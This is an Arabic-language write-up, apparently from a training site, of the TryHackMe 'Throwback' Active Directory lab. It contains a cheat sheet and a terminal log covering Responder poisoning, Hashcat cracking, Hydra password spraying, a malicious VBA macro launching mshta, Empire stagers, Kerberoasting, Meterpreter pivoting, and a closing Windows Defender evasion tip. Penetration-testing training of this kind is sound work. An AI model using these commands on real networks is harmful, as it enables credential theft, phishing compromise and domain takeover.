Lab: Throwback | STY IT Labs
STY IT Labs · TryHackMe · Advanced Active Directory

Lab: Throwback
من إيميل Phishing لحد الـ Domain Controller

شبكة شركة كاملة بمحاكاة واقعية: تبدأ بتسميم بروتوكولات الشبكة لسرقة Hashes، تبني Phishing Campaign حقيقي، تتحكم في أجهزة عن طريق Empire C2، وتعدّي لشبكة داخلية معزولة عبر Pivoting لحد ما توصل للـ Domain Controller.

Hard Difficulty Active Directory Empire C2 LLMNR Poisoning Phishing Windows Domain
PROD MAIL DC01 PHISH → C2 → DC THROWBACK
Hard
5 – 9 ساعات
متعددة + DC
عدة مراحل
TryHackMe
Windows Domain

عن اللاب

THROWBACK-PROD
سيرفر الويب الإنتاجي
نقطة الدخول + Pivot Point
10.200.15.232
Mail Server
شبكة داخلية 10.200.15.0/24
THROWBACK-DC01
Domain Controller
الهدف النهائي

Throwback محاكاة كاملة لاختراق شركة من الصفر: تبدأ بتسميم بروتوكولات اسم الشبكة (LLMNR/NBT-NS) لسرقة Hashes، تجمع بيانات الموظفين من LinkedIn، تبني Phishing Campaign حقيقي بإيميل مخترق، وتستخدم Empire C2 عشان تتحكم في الأجهزة المصابة وتعمل Kerberoasting. بعدين تحوّل سيرفر الإنتاج لنقطة Pivot عشان تدخل شبكة داخلية معزولة فيها الـ Domain Controller.

اللاب بيدمج بين Red Team Operations (Phishing + C2) وAD Exploitation (Kerberoasting + Trust Enumeration) — مش هجوم تقني بحت، ده عملية هندسة اجتماعية كاملة.

Throwback Badge

وصول كامل للـ Domain Controller عبر سلسلة Phishing → C2 → Pivoting → AD

مسار الهجوم — من الاستطلاع للـ Domain Controller

1

LLMNR/NBT-NS Poisoning

تشغيل Responder لتسميم طلبات الشبكة الوهمية، وصيد NTLMv2 hashes من أجهزة بتدور على موارد مش موجودة. بعدين تكسرها بـ Hashcat.

Responder -I tun0 -rdwhashcat -m 5600
2

استطلاع الموظفين (OSINT)

جمع بيانات الموظفين من LinkedIn، وبناء إيميلات محتملة بأداة توليد الأنماط، والوصول لدليل الشركة بحساب Guest.

LinkedIn OSINTEmail pattern generation
3

Password Spraying + اختراق إيميل

رش كلمات السر بـ Hydra على الحسابات المكتشفة، لحد ما توصل لحساب موظف شرعي تستخدمه كمصدر موثوق للـ Phishing.

Hydra sprayCompromised mailbox
4

Phishing Campaign + Meterpreter

إيميل تصيّد بمرفق Excel خبيث (VBA Macro) يتنكر إنه من مصدر موثوق. بمجرد فتحه بيشغّل Metasploit reverse shell.

XLSM Macro (Auto_Open)Meterpreter sessions
5

Empire C2 + Kerberoasting

نشر Empire C2 Framework (بواجهة Starkiller)، بناء Listener وStager، وتنفيذ Kerberoasting بموديول Rubeus لسرقة وكسر كلمات سر حسابات الخدمة.

Empire + StarkillerRubeus Kerberoasting
6

Pivoting عبر THROWBACK-PROD

تحويل سيرفر الإنتاج المخترق لنقطة Pivot: autoroute في Meterpreter + SOCKS4 proxy للوصول لشبكة 10.200.15.0/24 الداخلية.

autoroute + SOCKS410.200.15.0/24
7

Trust Enumeration + الوصول للـ DC 🏆

استكشاف الشبكة الداخلية (Ping sweep, ARP, DNS)، اكتشاف علاقة Trust بين Domains، رش كلمات سر تاني، وSSH للـ Domain Controller مباشرة.

Bidirectional Domain TrustSSH to THROWBACK-DC01Full Domain Compromise 🏆

مراحل اللاب

LLMNR Poisoning
OSINT
Phishing
Empire C2
Pivoting
Domain Takeover 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
sudo responder -I tun0 -rdw -vتسميم LLMNR/NBT-NS وصيد الـ hashesPoisoning
hashcat -m 5600 -a 0 hash.txt rockyou.txtكسر NTLMv2 hash المسروقCrack
hydra -L users.txt -p ‘Pass123’ smtp://targetPassword spraying على حسابات الموظفينSpray
Auto_Open() VBA macro → mshta.exeتنفيذ تلقائي لمرفق Excel الخبيثPhishing
run autoroute -s 10.200.15.0/24فتح route داخل Meterpreter للشبكة الداخليةPivot
use auxiliary/server/socks4aتشغيل SOCKS4 proxy على THROWBACK-PRODPivot
Invoke-Kerberoast -OutputFormat Hashcatسرقة TGS Tickets لحسابات الخدمة (Empire module)Kerberoast
1..255 | % {ping -n 1 -w 60 10.200.15.$_}Ping sweep داخل الشبكة الداخلية من PowerShellRecon

المهام والأسئلة

Task 1 — تسميم بروتوكولات الشبكة

Responder + Hashcat لكسر أول NTLMv2 hash

Poisoning

Task 2 — استطلاع الموظفين

LinkedIn OSINT وتوليد إيميلات محتملة

OSINT
03

Task 3 — بناء Phishing Campaign

Hydra spray + مرفق Excel خبيث بـ VBA Macro

Phishing
04

Task 4 — Empire C2 + Kerberoasting

نشر Empire/Starkiller وسرقة حسابات الخدمة

C2
05

Task 5 — Pivoting عبر PROD Server

autoroute + SOCKS4 proxy للشبكة الداخلية

Pivot
06

Task 6 — Trust Enumeration

اكتشاف علاقة Trust بين الدومينات

AD
07

Task 7 — الوصول للـ Domain Controller 🏆

Password spray تاني + SSH لـ THROWBACK-DC01

DC 🏆
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — من التسميم للـ Domain Controller

root@kali — Throwback Network
# Phase 1 — LLMNR/NBT-NS Poisoning
└─# sudo responder -I tun0 -rdw -v
[+] NTLMv2-SSP Hash captured: jdoe::THROWBACK:…
└─# hashcat -m 5600 -a 0 hash.txt rockyou.txt
[+] Cracked: Summer2024!

# Phase 2 — Phishing + Empire C2
└─# hydra -L users.txt -p ‘Summer2024!’ smtp://mail.throwback.thm
[+] Valid credentials: j.smith@throwback.thm
(Empire) >> listeners
(Empire: listeners) >> execute stager windows/launcher_bat
[+] New agent checked in from HR-PC01

# Phase 3 — Kerberoasting
(Empire: agent) >> usemodule credentials/invoke_kerberoast
[+] svc_backup TGS hash captured → cracked: B@ckupSvc2023

# Phase 4 — Pivoting via THROWBACK-PROD
meterpreter > run autoroute -s 10.200.15.0/24
meterpreter > run socks4a
└─# proxychains nmap -sT -Pn 10.200.15.117
445/tcp open microsoft-ds (THROWBACK-DC01)

# Phase 5 — Domain Controller Access
└─# proxychains ssh svc_backup@10.200.15.117
[+] Welcome to THROWBACK-DC01 — Domain Admin access confirmed 🏆

└─#

المهارات المكتسبة

LLMNR/NBT-NS Poisoning
OSINT & Email Enumeration
Phishing Campaign Design
Empire C2 Operations
Kerberoasting
Metasploit Pivoting
AD Trust Enumeration
Windows Defender Evasion

الأدوات المستخدمة

Responderتسميم بروتوكولات اسم الشبكة وصيد Hashes
Hashcatكسر NTLMv2 hashes المسروقة
HydraPassword spraying على حسابات الموظفين
Empire / StarkillerC2 Framework للتحكم في الأجهزة المصابة
Metasploitautoroute + SOCKS4 proxy للـ Pivoting
Windows Defender الحقيقي بيوقف أغلب الـ payloads الجاهزة — جرّب تعديل الـ metadata أو استخدم Exclusion Path لو عالق في مرحلة الـ AV Evasion.